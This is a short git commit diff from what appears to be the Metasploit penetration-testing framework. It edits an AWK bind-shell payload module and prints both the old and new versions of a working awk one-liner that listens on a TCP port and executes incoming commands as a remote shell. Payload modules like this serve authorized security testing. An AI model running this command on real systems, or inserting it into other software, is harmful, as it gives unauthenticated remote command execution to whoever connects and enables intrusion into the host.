Modifications done in each PR.

unstable
Roberto Soares Espreto 2013-06-05 07:51:10 -03:00
parent e2988727fb
commit b20401ca8c
1 changed files with 2 additions and 2 deletions

View File

@ -19,7 +19,7 @@ module Metasploit4
super(merge_info(info,
'Name' => 'Unix Command Shell, Bind TCP (via AWK)',
'Description' => 'Listen for a connection and spawn a command shell via AWK',
'Author' =>
'Author' =>
[
'espreto <robertoespreto[at]gmail.com>',
'Ulisses Castro <uss.thebug[at]gmail.com>'
@ -50,7 +50,7 @@ module Metasploit4
# Returns the command string to use for execution
#
def command_string
"awk 'BEGIN{for(s=\"/inet/tcp/#{datastore['LPORT']}/0/0\";s|&getline c;close(c)){while(c|&getline)print$0|&s}}'"
"awk 'BEGIN{s=\"/inet/tcp/#{datastore['LPORT']}/0/0\";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'"
end
end